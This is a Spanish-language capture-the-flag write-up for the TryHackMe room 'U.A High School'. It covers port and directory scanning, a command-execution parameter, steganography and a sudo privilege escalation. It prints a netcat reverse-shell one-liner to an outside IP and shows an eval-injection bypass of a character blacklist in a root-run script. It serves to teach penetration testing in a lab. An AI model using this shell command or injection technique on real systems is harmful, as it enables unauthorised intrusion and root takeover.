Post

U.A High School - TryHackMe

Write up en español para U.A High School - TryHackMe

U.A High School - TryHackMe

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sV -Pn -T4 -O 10.10.221.160
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 20:34 CAT
Nmap scan report for 10.10.221.160
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración de directorios web

Primero intentamos una enumeración de los directorios web, pero no nos muestra nada demasiado interesante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gobuster dir -u http://10.10.215.251 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.215.251
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/assets               (Status: 301) [Size: 315] [--> http://10.10.215.251/assets/]
/index.html           (Status: 200) [Size: 1988]
/server-status        (Status: 403) [Size: 278]
Progress: 4744 / 4745 (99.98%)
===============================================================
Finished
===============================================================

Lo único interesante que podemos encontrar es el directorio /assets/.

Si visualizamos las peticiones con burpsuite vemos que nos asigna una cookie PHPSESSID estilo PHP lo cual no tiene mucho sentido siendo un directorio web para assets y, además muestra una pagina en blanco y no un directorio o simplemente un error.

alt text

Sabiendo que podemos tener un index.php con alguna función como id, img etc podemos intentar forzar los parámetros.

Usando dirsearch obtenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dirsearch -u http://10.10.215.251/assets/index.php
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/sdksdk/Downloads/reports/http_10.10.215.251/_assets_index.php_25-04-21_22-12-27.txt

Target: http://10.10.215.251/

[22:12:27] Starting: assets/index.php/
[22:12:30] 404 -  275B  - /assets/index.php/%2e%2e//google.com              
[22:12:49] 200 -   40B  - /assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir
                                                                             
Task Completed

Parece que tenemos ejecución de comandos con el parámetro cmd pero este nos devuelve el contenido en base64.

alt text

Sabiendo esto vamos directamente a por una shell reversa.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.23.66.202 4444 >/tmp/f

Usaremos una nc mkinfo y la codificaremos en URL.

alt text

Ahora podemos estabilizar la shell.

alt text

Explorando el sistema

Encontramos que la user flag está en el usuario deku pero no tenemos acceso.

alt text

Explorando el sistema encontramos un directorio Hidden_Content que contiene texto cifrado en base64.

alt text

Por ahora eso no nos sirve de nada pero lo guardaremos.

Ahora lo único que encontramos interesante son las imágenes en el directorio Images de assets.

Una vez las descargamos vemos que una de ellas es el fondo de la web pero la otra parece dañada y el visor de imágenes nos muestra el error indicando que no contiene los bytes de cabecera de una imagen jpg.

alt text

Si abrimos el fichero con hexedit vemos que los primeros bytes no corresponden a una imagen jpeg sino PNG.

alt text

Las imágenes JPEG comienzan con ith FF D8 y terminan en FF D9. En la siguiente web podemos encontrar las cabeceras hexadecimales de varios archivos.

Para arreglar el nuestro necesitamos cambiar lo siguiente:

alt text

Ahora si podemos ver la imagen aunque a simple vista no contiene nada.

alt text

Aunque puede que tenga contenido oculto usando esteganografía.

alt text

Efectivamente tenía contenido oculto y además nos pedía la contraseña que encontramos antes.

Acceso por ssh

Ahora con estas crendenciales podemos acceder por ssh.

alt text

Escalando privilegios

1
2
3
4
5
6
7
deku@myheroacademia:~$ sudo -l
[sudo] password for deku: 
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh

Vemos que tenemos un script con permisos de ejecución sudo para el usuario deku.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
deku@myheroacademia:~$ cat /opt/NewComponent/feedback.sh
#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi

Parece un script para enviar feedbacks a la departamento de tecnología de la universidad.

Según el código toma la entrada del usuario y valida el contenido para evitar que se ejecuten comandos maliciosos.

1
if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
1
2
3
4
5
6
7
backticks ` (usados para ejecutar comandos)

paréntesis de comandos $()

redirecciones |, ;, &

signos como ?, !, \

Lo interesante es que aunque existe esta validación, justo despúes de la validación se ejecuta el comando eval. Sabiendo esto podemos escribir cualquier contenido como root en cualquier fichero.

¿Qué se filtra?

Se rechazan entradas que contengan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
` (backtick)

)

$( (inicio de comando)

|

&

;

?

!

\

Lo que vamos a hacer entonces e crear una clave RSA para acceder por ssh como root desde el usuario deku.

alt text

Ejecutamos el siguiente comando

1
ssh -i id_rsa root@localhost

Y somos root.

alt text

This post is licensed under CC BY 4.0 by the author.